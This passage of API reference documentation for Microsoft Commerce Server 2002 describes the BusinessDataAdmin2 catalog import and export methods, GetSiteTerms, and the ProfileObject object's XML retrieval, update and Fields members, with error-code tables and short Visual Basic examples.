ERR_KEY_MULTIVALUE | [C++] 0x800A00BB [Visual Basic] &H800A00BB 187 | The property '%0' cannot be multi-valued because it is a key.
ERR_OLEDB_MULTIVAL | [C++] 0x800A00BC [Visual Basic] &H800A00BC 188 | The property '%0' cannot be marked as multi-valued. It references a data member from an OLEDB-ANSI source of type '%1'. Only members of type 'STRING' may be marked as multi-valued.
ERR_VALUE_TOO_LONG | [C++] 0x800A00B8 [Visual Basic] &H800A00B8 184 | The database field '%0' cannot be updated. The value '%1' exceeds the maximum length of %2 characters.
ERR_CACHEDPROP_IS_PRIMARYKEY | [C++] 0x800A00B5 [Visual Basic] &H800A00B5 181 | The primary key for this profile may not be a cached (non-persistent) property.
ERR_CACHEDPROP_IS_JOINKEY | [C++] 0x800A00B6 [Visual Basic] &H800A00B6 182 | The join key for this profile may not be a cached (non-persistent) property.
ERR_MULTIPLE_RDNATTRS | [C++] 0x800A008D [Visual Basic] &H800A008D 141 | The profile '%0' contains multiple properties marked as the RDN Attribute for the data source '%1'. Exactly one RDN Attribute must be defined for each LDAPv3-compliant data source.
ERR_MULTIPLE_HASHKEYS | [C++] 0x800A008E [Visual Basic] &H800A008E 142 | The profile '%0' contains multiple properties marked as the hashing key.
ERR_INVALID_RDNATTR | [C++] 0x800A008F [Visual Basic] &H800A008F 143 | The profile-property '%0' is marked as an RDN-attribute, but does not map to an LDAPv3-compliant data-source.
ERR_PROP_INVALID_HASHKEY | [C++] 0x800A0090 [Visual Basic] &H800A0090 144 | The profile-property '%0' is marked as a hashing-key, but does not map to any partitioned data-sources.
ERR_NO_RDN_ATTRIBUTE | [C++] 0x800A0091 [Visual Basic] &H800A0091 145 | The profile '%0' uses an LDAPv3-compliant data-source, but no property is marked as the RDN-attribute. Exactly one RDN Attribute must be defined for each LDAPv3-compliant data source.
ERR_INVALID_DATATYPE | [C++] 0x800A00C0 [Visual Basic] &H800A00C0 192 | The property: [%0] in profile: [%1] is mapped to an incorrect data type.
ERR_INVALID_MARKEDTYPEREF | [C++] 0x800A00C1 [Visual Basic] &H800A00C1 193 | The property: [%0] in profile: [%1] is incorrectly marked as a reference type.
ERR_INVALID_MULTI | [C++] 0x800A00C2 [Visual Basic] &H800A00C2 194 | The property: [%0] in profile: [%1] is incorrectly marked as multivalued.
ERR_INVALID_TYPEREF | [C++] 0x800A00C3 [Visual Basic] &H800A00C3 195 | The property: [%0] in profile: [%1] is referencing an invalid type.
ERR_INVALID_PROPTYPE | [C++] 0x800A00C4 [Visual Basic] &H800A00C4 196 | The property: [%0] in profile: [%1] is of incorrect type.
ERR_INVALID_MAPPEDDATA | [C++] 0x800A00C5 [Visual Basic] &H800A00C5 197 | The property: [%0] in profile: [%1] is mapped to a data member: [%2] but this data member does not exist.
ERR_INVALID_MAPPEDDATATYPE | [C++] 0x800A00C6 [Visual Basic] &H800A00C6 198 | The property: [%0] in profile: [%1] is mapped to data member: [%2] of incorrect type
ERR_INVALID_PROFILEREF | [C++] 0x800A00C7 [Visual Basic] &H800A00C7 199 | The property: [%0] in profile: [%1] is referencing a profile: [%2] that does not exist.
ERR_INVALID_SITETERMREF | [C++] 0x800A00C8 [Visual Basic] &H800A00C8 200 | The property: [%0] in profile: [%1] is referencing a siteterm: [%2] that does not exist.

Remarks

You must call the Connect method before calling this method.

The exported XML document will conform to the schema specified in file MSCSProfileSchema.xml, and will contain both site terms and profile definitions.

If the bRemoveCredentials parameter is True, then the credentials (user name and password) will be removed from all connection strings. These credentials will have to be replaced before the catalog can be imported. If the catalog is imported through Commerce Server Manager, the user must enter a user name and password for each data source partition in the catalog. See Exporting Profile Schema for more information.

If the bRemoveCredentials parameter is False, then the credentials will be exported in plain text with the rest of the catalog.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

The following example exports the profile catalog to a file:

myBusinessDataAdmin2.ExportCatalogs("C:\myfolder\myProfileCatalog.xml",_
   bRemoveCredentials)

See Also

[C++] BusinessDataAdmin2 Object

[Visual Basic] BusinessDataAdmin2 Object


_BusinessDataAdmin2::GetSiteTerms Method [C++]

BusinessDataAdmin2.GetSiteTerms Method [Visual Basic]

Use this method to create an XML document containing the site terms.

Definition

[C++]
HRESULT _BusinessDataAdmin2::GetSiteTerms(
  BSTR sEncode
  IXMLDOMDocument** unnamed parameter
);
[Visual Basic]
Function GetSiteTerms(
  Optional sEncode As String
) As DOMDocument

Parameters

sEncode [C++]
[in, optional] A BSTR that contains the document encoding.
sEncode [Visual Basic]
A String that contains the document encoding.
unnamed parameter [C++]
[out, retval] A pointer used to return a DOMDocument object that will contain the site terms.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a DOMDocument object that contains the site terms.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
ERR_NOCONNECTION | [C++] 0x800A00BF [Visual Basic] &H800A00BF 191 | No connection is open to the database. The Connect() method should be called first.
ERR_PROFILEPATH_INVALID | [C++] 0x800A007C [Visual Basic] &H800A007C 124 | Invalid profile-path '%0'.
ERR_CATALOG_NOTFOUND | [C++] 0x800A0074 [Visual Basic] &H800A0074 116 | Cannot find catalog '%0'.
ERR_PROFILE_NOTFOUND | [C++] 0x800A0075 [Visual Basic] &H800A0075 117 | Cannot find profile '%0'.
ERR_SOURCE_NOTFOUND | [C++] 0x800A0071 [Visual Basic] &H800A0071 113 | Cannot find data-source '%0' in catalog '%1'.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The unnamed parameter contains valid data only if the method completed successfully.

[Visual Basic] The DOMDocument object returned by this property is valid only if the method completed successfully.

The sEncode parameter is used to specify the encoding within the document. It inserts the following tag in the document. <xml encoding = "<sEncode>"> It does not change how the site terms are encoded or perform any validation that the encoding in the document matches the sEncode parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'
set MyDoc = myBusinessDataAdmin2.GetSiteTerms()

See Also

[C++] BusinessDataAdmin2 Object

[Visual Basic] BusinessDataAdmin2 Object


_BusinessDataAdmin2::ImportCatalogs [C++]

BusinessDataAdmin2.ImportCatalogs [Visual Basic]

Use this method to import the profile catalog (profile schema) in an XML document to the business data store.

Definition

[C++]
HRESULT _BusinessDataAdmin2::ImportCatalogs(
  BSTR* sXMLDocument
);
[Visual Basic]
Sub ImportCatalogs(
  sXMLDocument As String
)

Parameters

sXMLDocument [C++]
[in] A pointer to a BSTR that contains the XML document containing the profile catalog to be imported.
sXMLDocument [Visual Basic]
A String that contains the XML document containing the profile catalog to be imported.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
ERR_NOCONNECTION | [C++] 0x800A00BF [Visual Basic] &H800A00BF 191 | No connection is open to the database. The Connect() method should be called first.
ERR_XML_PARSE | [C++] 0x800A007A [Visual Basic] &H800A007A 122 | Parse errors in XML document '%0', line %1, col %2. Reason: %3
ERR_BAD_NAMESPACE | [C++] 0x800A00CB [Visual Basic] &H800A00CB 203 | The xml does not contain the correct namespace.
ERR_MEMBER_INVALID_NEWDELETE | [C++] 0x800A00A2 [Visual Basic] &H800A00A2 162 | One or more profile-members have invalid attributes: isNew='1' and isDeleted='1'.
ERR_MISSING_CATALOG | [C++] 0x800A00CD [Visual Basic] &H800A00CD 205 | The file does not contain any catalogs.
ERR_MEMBER_INVALID_NEWMODIFIED | [C++] 0x800A00A4 [Visual Basic] &H800A00A4 164 | One or more profile-members have invalid attributes: isNew='1' and isModified='1'.
ERR_INVALID_CATALOG_NAME | [C++] 0x800A00CC [Visual Basic] &H800A00CC 204 | The catalog '%0' is an invalid name.
ERR_CATALOG_DELETEFAILED | [C++] 0x800A0079 [Visual Basic] &H800A0079 121 | Cannot delete catalog '%0'. Source: '%1' Reason: '%2'
ERR_CATALOG_EXISTS | [C++] 0x800A006E [Visual Basic] &H800A006E 110 | Catalog '%0' already exists.
ERR_CATALOG_NOTFOUND | [C++] 0x800A0074 [Visual Basic] &H800A0074 116 | Cannot find catalog '%0'.
ERR_SOURCE_INVALIDTYPE | [C++] 0x800A00B0 [Visual Basic] &H800A00B0 176 | '%0' is not a valid source type.
ERR_NO_SRCINFOS | [C++] 0x800A0087 [Visual Basic] &H800A0087 135 | No source-infos were specified for data-source '%0'.
ERR_TOO_MANY_SRCINFOS | [C++] 0x800A0088 [Visual Basic] &H800A0088 136 | More than one source-info is specified for non-partitioned data-source '%0'. A non-partitioned data source may only have one source-info.
ERR_NOT_ONE_DEFAULT_SRCINFO | [C++] 0x800A0089 [Visual Basic] &H800A0089 137 | One source-info must be marked as default for data-source '%0'.
ERR_TOO_MANY_PARTITIONS | [C++] 0x800A00BA [Visual Basic] &H800A00BA 186 | The data source '%0' contains %1 partitions. A single data source cannot have more than %2 partitions.
ERR_SOURCE_INVALIDNAME | [C++] 0x800A00A9 [Visual Basic] &H800A00A9 169 | The data source '%0' cannot be created because the source name contains invalid characters: %1
ERR_DUPLICATE_SOURCENAME | [C++] 0x800A00BD [Visual Basic] &H800A00BD 189 | A Data-Source already exists with the name '%0'.
ERR_SOURCE_EXISTS | [C++] 0x800A0066 [Visual Basic] &H800A0066 102 | Error: The Data Source '%0' already exists and cannot be created or modified.
ERR_DUPLICATE_PARTITIONNAME | [C++] 0x800A00BE [Visual Basic] &H800A00BE 190 | A Data-Source partition already exists with the name '%0'.
ERR_SRCINFO_SRCTYPE | [C++] 0x800A00B3 [Visual Basic] &H800A00B3 178 | The source type of data-source '%0' cannot be modified.
ERR_SRCINFO_NOTFOUND | [C++] 0x800A008A [Visual Basic] &H800A008A 138 | The source-info '%1' could not be found in data-source '%0'.
ERR_ATTRIBUTE_INVALIDNAME | [C++] 0x800A00A8 [Visual Basic] &H800A00A8 168 | The attribute '%0' cannot be created because the attribute name contains invalid characters: %1
ERR_ATTRIBUTE_EXISTS | [C++] 0x800A0085 [Visual Basic] &H800A0085 133 | Duplicate names are not allowed: '%0' already exists on '%1'.
ERR_TABLE_INVALIDNAME | [C++] 0x800A00B1 [Visual Basic] &H800A00B1 177 | The data object '%0' cannot be created because the object name contains invalid characters: %1
ERR_TABLE_EXISTS | [C++] 0x800A0082 [Visual Basic] &H800A0082 130 | The data-object '%0' already exists. (Source '%1', Catalog '%2'.)
ERR_TABLE_NOTFOUND | [C++] 0x800A0083 [Visual Basic] &H800A0083 131 | The data-object '%0' could not be found. (Source '%1', Catalog '%2'.)
ERR_COLUMN_EXISTS | [C++] 0x800A007F [Visual Basic] &H800A007F 127 | The data-member '%0' already exists.
ERR_COLUMN_NOTFOUND | [C++] 0x800A007E [Visual Basic] &H800A007E 126 | The data-member '%0' could not be found.
ERR_INVALID_TYPEDEF | [C++] 0x800A0078 [Visual Basic] &H800A0078 120 | The data type '%1' for source member '%0' is invalid.
ERR_INVALID_TYPEDEF_FOR_SOURCE | [C++] 0x800A00B7 [Visual Basic] &H800A00B7 183 | The data type '%1' for source member '%0' is invalid (data type invalid for source type '%2').
ERR_MEMBER_EXISTS | [C++] 0x800A0077 [Visual Basic] &H800A0077 119 | Profile member '%1' cannot be created. A property or group named '%0' already exists within the profile.
ERR_MEMBER_NOTFOUND | [C++] 0x800A0081 [Visual Basic] &H800A0081 129 | The profile-member '%0' could not be found.
ERR_MEMBER_NOT_GROUP | [C++] 0x800A007D [Visual Basic] &H800A007D 125 | The profile-member corresponding to group '%0' in the XML document is not a group.
ERR_PRIMARYKEY | [C++] 0x800A00AB [Visual Basic] &H800A00AB 171 | Profile '%0' could not be created/updated because it does not have exactly one primary key defined.
ERR_JOINKEY | [C++] 0x800A00AC [Visual Basic] &H800A00AC 172 | Profile '%0' could not be created/updated because it does not have exactly one join key defined.
ERR_INVALIDTYPE_RDNATTR | [C++] 0x800A00AD [Visual Basic] &H800A00AD 173 | The profile-property '%0' is marked as an RDN-attribute, but is not of type 'STRING'.
ERR_INVALID_HASHKEY | [C++] 0x800A00AE [Visual Basic] &H800A00AE 174 | The profile-property '%0' is marked as a hashing key, but is not of type 'STRING'.
ERR_INVALID_UNIQUEKEY | [C++] 0x800A00AF [Visual Basic] &H800A00AF 175 | The profile-property '%0' is marked as a unique, primary, and/or join key, but is not of type 'STRING' or 'NUMBER'.
ERR_INVALIDMAP | [C++] 0x800A00B3 [Visual Basic] &H800A00B3 179 | The profile property '%0' is mapped to a data member in a source which is not referenced by the join key.
ERR_DUPLICATEJOINMAP | [C++] 0x800A00B4 [Visual Basic] &H800A00B4 180 | The join key '%0' references more than one data member from a single source. A join key may map to only one member from a data object.
ERR_KEY_MULTIVALUE | [C++] 0x800A00BB [Visual Basic] &H800A00BB 187 | The property '%0' cannot be multi-valued because it is a key.
ERR_OLEDB_MULTIVAL | [C++] 0x800A00BC [Visual Basic] &H800A00BC 188 | The property '%0' cannot be marked as multi-valued. It references a data member from an OLEDB-ANSI source of type '%1'. Only members of type 'STRING' may be marked as multi-valued.
ERR_VALUE_TOO_LONG | [C++] 0x800A00B8 [Visual Basic] &H800A00B8 184 | The database field '%0' cannot be updated. The value '%1' exceeds the maximum length of %2 characters.
ERR_CACHEDPROP_IS_PRIMARYKEY | [C++] 0x800A00B5 [Visual Basic] &H800A00B5 181 | The primary key for this profile may not be a cached (non-persistent) property.
ERR_CACHEDPROP_IS_JOINKEY | [C++] 0x800A00B6 [Visual Basic] &H800A00B6 182 | The join key for this profile may not be a cached (non-persistent) property.
ERR_MULTIPLE_RDNATTRS | [C++] 0x800A008D [Visual Basic] &H800A008D 141 | The profile '%0' contains multiple properties marked as the RDN Attribute for the data source '%1'. Exactly one RDN Attribute must be defined for each LDAPv3-compliant data source.
ERR_MULTIPLE_HASHKEYS | [C++] 0x800A008E [Visual Basic] &H800A008E 142 | The profile '%0' contains multiple properties marked as the hashing key.
ERR_INVALID_RDNATTR | [C++] 0x800A008F [Visual Basic] &H800A008F 143 | The profile-property '%0' is marked as an RDN-attribute, but does not map to an LDAPv3-compliant data-source.
ERR_PROP_INVALID_HASHKEY | [C++] 0x800A0090 [Visual Basic] &H800A0090 144 | The profile-property '%0' is marked as a hashing-key, but does not map to any partitioned data-sources.
ERR_NO_RDN_ATTRIBUTE | [C++] 0x800A0091 [Visual Basic] &H800A0091 145 | The profile '%0' uses an LDAPv3-compliant data-source, but no property is marked as the RDN-attribute. Exactly one RDN Attribute must be defined for each LDAPv3-compliant data source.
ERR_INVALID_DATATYPE | [C++] 0x800A00C0 [Visual Basic] &H800A00C0 192 | The property: [%0] in profile: [%1] is mapped to an incorrect data type.
ERR_INVALID_MARKEDTYPEREF | [C++] 0x800A00C1 [Visual Basic] &H800A00C1 193 | The property: [%0] in profile: [%1] is incorrectly marked as a reference type.
ERR_INVALID_MULTI | [C++] 0x800A00C2 [Visual Basic] &H800A00C2 194 | The property: [%0] in profile: [%1] is incorrectly marked as multivalued.
ERR_INVALID_TYPEREF | [C++] 0x800A00C3 [Visual Basic] &H800A00C3 195 | The property: [%0] in profile: [%1] is referencing an invalid type.
ERR_INVALID_PROPTYPE | [C++] 0x800A00C4 [Visual Basic] &H800A00C4 196 | The property: [%0] in profile: [%1] is of incorrect type.
ERR_INVALID_MAPPEDDATA | [C++] 0x800A00C5 [Visual Basic] &H800A00C5 197 | The property: [%0] in profile: [%1] is mapped to a data member: [%2] but this data member does not exist.
ERR_INVALID_MAPPEDDATATYPE | [C++] 0x800A00C6 [Visual Basic] &H800A00C6 198 | The property: [%0] in profile: [%1] is mapped to data member: [%2] of incorrect type
ERR_INVALID_PROFILEREF | [C++] 0x800A00C7 [Visual Basic] &H800A00C7 199 | The property: [%0] in profile: [%1] is referencing a profile: [%2] that does not exist.
ERR_INVALID_SITETERMREF | [C++] 0x800A00C8 [Visual Basic] &H800A00C8 200 | The property: [%0] in profile: [%1] is referencing a siteterm: [%2] that does not exist.

Remarks

You must call the Connect method before calling this method.

The XML data in the parameter sXMLDocument must contain a single profile catalog, and it must conform to the schema in the file MSCSProfileSchema.xml.

If the catalog you want to import was exported without credentials you will need to add credentials for each data source in the catalog before it can be imported.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

The following example imports a catalog from the file ProfileCatalog.xml:

myBusinessDataAdmin2.ImportCatalogs("C:\myFolder\ProfileCatalog.xml")

See Also

[C++] BusinessDataAdmin2 Object

[Visual Basic] BusinessDataAdmin2 Object


ProfileObject Object[C++]

ProfileObject Object [Visual Basic]

Use this object to retrieve the data in specific profile object instances and modify the property values for that profile object. In addition, use the ProfileObject object to examine and navigate the property attributes of a profile object.

ProgID: | Commerce.ProfileObject (Externally creatable)
COM Class Name: | ProfileObject
Type Library Name: | Microsoft Commerce 2002 Profile Service Type Library
DLL Name: | mscsups.dll
Threading Model: | Both
[C++]
COM Interface Name: | IProfileObject2
Interface ID Constant: | IID_IProfileObject2
Header File: | mscsups.h, mspu_guids.h
[C++]

In C++, use the IProfileObject interface to access the properties and methods of the ProfileObject object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
GetProfileXML | Retrieves an XML fragment representing the data structure of the profile object.
Update | Saves the profile data to the underlying data store.
UpdateProfileXML | Changes the properties of the ProfileObject object.
[Visual Basic]
Method | Description
GetProfileXML | Retrieves an XML fragment representing the data structure of the profile object.
Update | Saves the profile data to the underlying data store.
UpdateProfileXML | Changes the properties of the ProfileObject object.

Properties

[C++]
Property | Type | Description
Fields | Fields | Stores the profile property collection. This property is read-only.
[Visual Basic]
Property | Type | Description
Fields | Object | Stores the profile property collection. This property is read-only.

Remarks

The ProfileObject object maintains backward compatibility with the AUO 1.0 object (released in Microsoft Site Server 3.0 Commerce Edition) by inheriting from the IADs interface. Refer to the MSDN ADSI documentation for descriptions of the methods of the IADs interface.

The ProfileObject object supports extended dot notation. For example, using extended dot notation, the following:

oProfileObject.Fields("Address.Zipcode")

is equivalent to:

oProfileObject.Fields("Address").Value("Zipcode")

The first technique retrieves the Zipcode value in a single call to Fields.Value, while the second technique requires two calls to retrieve the same value.

The ProfileObject object also provides smart navigation into profiles. For example, using smart navigation, the following:

oProfileObject.Address.ZipCode

is equivalent to:

oProfileObject.Fields("Address.Zipcode")

In general, the CreateProfile method of the ProfileService object is used to instantiate this object.

See Also

[C++] Profile Objects

[C++] Profile Schema

[C++] Profile XML Structures

[C++] ProfileService Object

[Visual Basic] Profile Objects

[Visual Basic] Profile Schema

[Visual Basic] Profile XML Structures

[Visual Basic] ProfileService Object


IProfileObject2 Methods [C++]

ProfileObject Methods [C++]

Methods

[C++]
Method | Description
GetProfileXML | Retrieves an XML fragment representing the data structure of the profile object.
Update | Saves the profile data to the underlying data store.
UpdateProfileXML | Changes the properties of the ProfileObject object.
[Visual Basic]
Method | Description
GetProfileXML | Retrieves an XML fragment representing the data structure of the profile object.
Update | Saves the profile data to the underlying data store.
UpdateProfileXML | Changes the properties of the ProfileObject object.


IProfileObject2::GetProfileXML Method [C++]

ProfileObject.GetProfileXML Method [Visual Basic]

Use this method to retrieve the XML schema and data of the profile object.

Definition

[C++]
HRESULT IProfileObject2::GetProfileXML (
  XMLRetrieveEnum eRetrieveEnum,
  VARIANT_BOOL bAttributeCentric,
  BSTR* pbstrXML
);
[Visual Basic]
Function GetProfileXML (
  eRetrieveEnum As XMLRetrieveEnum,
  bAttributeCentric As Boolean
) As String

Parameters

eRetrieveEnum [C++]
[in] An Enum that indicates whether to retrieve the XML schema, data, or both.
eRetrieveEnum [Visual Basic]
[in] An Enum that indicates whether to retrieve the XML schema, data, or both.
bAttributeCentric [C++]
[in] A VARIANT_BOOL that indicates the XML output format. Set this parameter to True (1) to retrieve the XML in an attribute-centric format, and to False (0) to retrieve the XML in an element-centric format.
bAttributeCentric [Visual Basic]
[in] A Boolean that indicates if the XML output format. Set this parameter to True (1) to retrieve the XML in an attribute-centric format, and to False (0) to retrieve the XML in an element-centric format.
pbstrXML [C++]
[out, retval] A pointer to a BSTR that contains the resulting XML fragment.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] This method returns a String containing the XML representation of the profile object.

Error Values

[C++] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

[C++]

The pbstrXML parameter contains valid data only if the method completes successfully.

The following table defines the possible values for XMLRetrieveEnum.

Name | Value | Description
psRetrieveInvalidValue | 0 | Invalid option
psRetrieveSchemaAndData | 1 | Both the schema and data are retrieved.
psRetrieveDataOnly | 2 | Only the data is retrieved.
psRetrieveSchemaOnly | 3 | Only the schema is retrieved.

For information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sXMLProfile is a String, oProfileObject is a UserObject profile

sXMLProfile = oProfileObject.GetProfileXML(psRetrieveDataOnly, True)

' The attribute-centric sXMLProfile string now contains:
   <?xml version="1.0"?>
   <ProfileDocument>
   <UserObject>
      <AccountInfo  org_id="{590858E1-08A7-11D3-B8C4-00104B95AE0E}"
         account_status="1" date_registered="2000- 6- 5T 0: 0: 0">
      </AccountInfo>
      <GeneralInfo  user_id="{590858DB-08A7-11D3-B8C4-00104B95FFFF}"
         logon_name="jilluser@microsoft.com"
         user_security_password="password" user_title="" last_name="User"
         first_name="Jill" user_id_changed_by="MyAdminID">
      </GeneralInfo>
   </UserObject>
   </ProfileDocument>

sXMLProfile = oProfileObject.GetProfileXML(psRetrieveDataOnly, False)

' The element-centric sXMLProfile string now contains:
   <?xml version="1.0"?>
   <ProfileDocument>
   <UserObject>
      <AccountInfo>
         <org_id>{590858E1-08A7-11D3-B8C4-00104B95AE0E}</org_id>
         <account_status>1</account_status>
         <date_registered>2000- 6- 5T 0: 0: 0</date_registered>
      </AccountInfo>
      <GeneralInfo
         <user_id>{590858DB-08A7-11D3-B8C4-00104B95FFFF}</user_id>
         <logon_name>jilluser@microsoft.com</logon_name>
         <user_security_password>password</user_security_password>
         <user_title></user_title>
         <last_name>User</last_name>
         <first_name>Jill</first_name>
         <user_id_changed_by>MyAdminID</user_id_changed_by>
      </GeneralInfo>
   </UserObject>
   </ProfileDocument>

See Also

[C++] ProfileObject Object

[C++] IProfileObject2::get_Fields

[C++] Profile XML Structures

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileObject.Fields

[Visual Basic] Profile XML Structures


IProfileObject2::Update Method [C++]

ProfileObject.Update Method [Visual Basic]

Use this method to save ProfileObject object data to the underlying data store.

Definition

[C++]
HRESULT IProfileObject2::Update(
);
[Visual Basic]
Sub Update()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

The Update method commits the object to the data store.

Any changes made using the IADs interface routines are committed to the database.

Use the Fields property to access the ProfileObject object data.

See Also

[C++] ProfileObject Object

[C++] IProfileObject2::get_Fields

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileObject.Fields


IProfileObject2::UpdateProfileXML Method [C++]

ProfileObject2.UpdateProfileXML Method [Visual Basic]

Use this method to change the properties of the ProfileObject object.

Definition

[C++]
HRESULT IProfileObject2::UpdateProfileXML(
  BSTR bstrProfileXML,
  XMLFormatEnum eXMLFormat
);
[Visual Basic]
Sub UpdateProfileXML(
  bstrProfileXML As String,
  eXMLFormat As XMLFormatEnum
)

Parameters

bstrProfileXML [C++]
[in] A BSTR that contains the profile XML data.
bstrProfileXML [Visual Basic]
A String that contains the profile XML data.
eXMLFormat [C++]
[in] An XMLFormatEnum enumeration that contains the XML format.
eXMLFormat [Visual Basic]
An XMLFormatEnum enumeration that contains the XML format.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

Use the Update method to commit the property changes to the data store.

This method updates the properties of the ProfileObject object with the values in the bstrProfileXML parameter. A partial update is allowed. All properties provided in the XML data will be updated.

Properties that are marked as a join key cannot be updated.

The following table shows the values in the XMLFormatEnum enumeration, their associated names, and describes their use.

Name | Value | Description
eInvalid | 0 | Reserved for future use.
eAttributeCentric | 1 | Attribute centric XML format.
eElementCentric | 2 | Element centric XML format.
[Visual Basic]

Example

'sXMLProfile is a string containing:

<?xml version="1.0"?>

<User email="Joe@Cool.com" guid="123" creationDate="3/27/00" version="5" FavoriteColors="e1 e2">
  <FavoriteColors id="e1">Red</FavoriteColors>
  <FavoriteColors id="e2">Green</FavoriteColors>
  <HomeAddress address="4149 Beach Drive" city="San Diego" state="CA">
  </HomeAddress>
  <SecureInfo password="*****" creditCard="1234565">
  </SecureInfo>
</User>

myProfileObject2.UpdateProfileXML(sXMLProfile, eAttributeCentric)

See Also

[C++] ProfileObject Object

[C++] IProfileObject2::get_Fields

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileObject.Fields


IProfileObject2 Properties [C++]

ProfileObject Properties [C++]

Properties

[C++]
Property | Type | Description
Fields | Fields | Stores the profile property collection. This property is read-only.
[Visual Basic]
Property | Type | Description
Fields | Object | Stores the profile property collection. This property is read-only.


IProfileObject2::get_Fields Property[C++]

ProfileObject.Fields Property [Visual Basic]

The Fields property is a read-only Fields collection that contains the profile property data for the ProfileObject object. Read-only refers to the inability to add or delete members (profile properties) of the Fields collection. This property is the default property of the ProfileObject object. Use this property to set and retrieve profile property values and to navigate the attribute list of the properties.

Definition

[C++]
HRESULT IProfileObject2::get_Fields(
  Fields** ppFields
);
[Visual Basic]
Property Fields As Object

Parameters

ppFields [C++]
[out, retval] The address of a pointer to a Fields collection used to return the profile object properties.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

Error Values

[C++] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

The Fields collection is similar to an ADO Fields collection object. The following ADO Fields methods and properties are supported:

  • Count
  • Item
  • _NewEnum

A member of the Fields collection is a Field object that represents a single property or property group of a ProfileObject object. The Field object is similar to an ADO Field object. The following ADO Field methods and properties are supported:

  • Properties - Returns the read-only Attributes collection.
  • DefinedSize - Retrieves the defined size of the data type.
  • Name
  • Type
  • Value - When dealing with implementations involving the encryption of profile properties, note that the KeyIndex Field object requires special consideration in that the Value property of this object is read-only. Any assignment to the Value property will result in an error.

The Attributes collection is represented as an ADO Properties object. The following ADO Properties methods and properties are supported:

  • Count
  • Item
  • _NewEnum

Use the Update method of the ProfileObject object to save any changed profile data in the underlying data store.

The Fields property of the ProfileObject object supports extended dot notation for increased performance. For example, using extended dot notation, the following:

oProfileObject.Fields("Address.Zipcode")

is equivalent to:

oProfileObject.Fields("Address").Value("Zipcode")

For information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppFields parameter contains valid data only if the property is accessed successfully.

See Also

[C++] ProfileObject Object

[C++] ProfileService Object

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileService Object


ProfileService Object [C++]

ProfileService Object [Visual Basic]

Use this object to create, delete, and retrieve ProfileObject objects.

ProgID: | Commerce.ProfileService (Externally creatable)
COM Class Name: | ProfileService
Type Library Name: | Microsoft Commerce 2002 Profile Service Type Library
DLL Name: | mscsups.dll
Threading Model: | Both
[C++]
COM Interface Name: | IProfileService2
Interface ID Constant: | IID_IProfileService2
Header File: | mscsups.h, mspu_guids.h
[C++]

In C++, use the ProfileService2 interface to access the properties and methods of the ProfileService object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
BindAs | Sets the user credentials for accessing the underlying Profiles store.
CreateProfile | Creates the specified ProfileObject object.
CreateProfileXML | Creates a ProfileObject object from XML data.
DeleteProfile | Deletes a ProfileObject object specified by a primary key value from the Profiling System.
DeleteProfileByKey | Deletes a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfile | Retrieves a ProfileObject object specified by a primary key value from the Profiling System.
GetProfileByKey | Retrieves a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfileDefXML | Retrieves the XML description of the specified profile definition.
Initialize | Establishes connection to the specified Profiles store and populates the schema cache.
UnBind | Clears the user credentials for accessing the underlying Profiles store.
[Visual Basic]
Method | Description
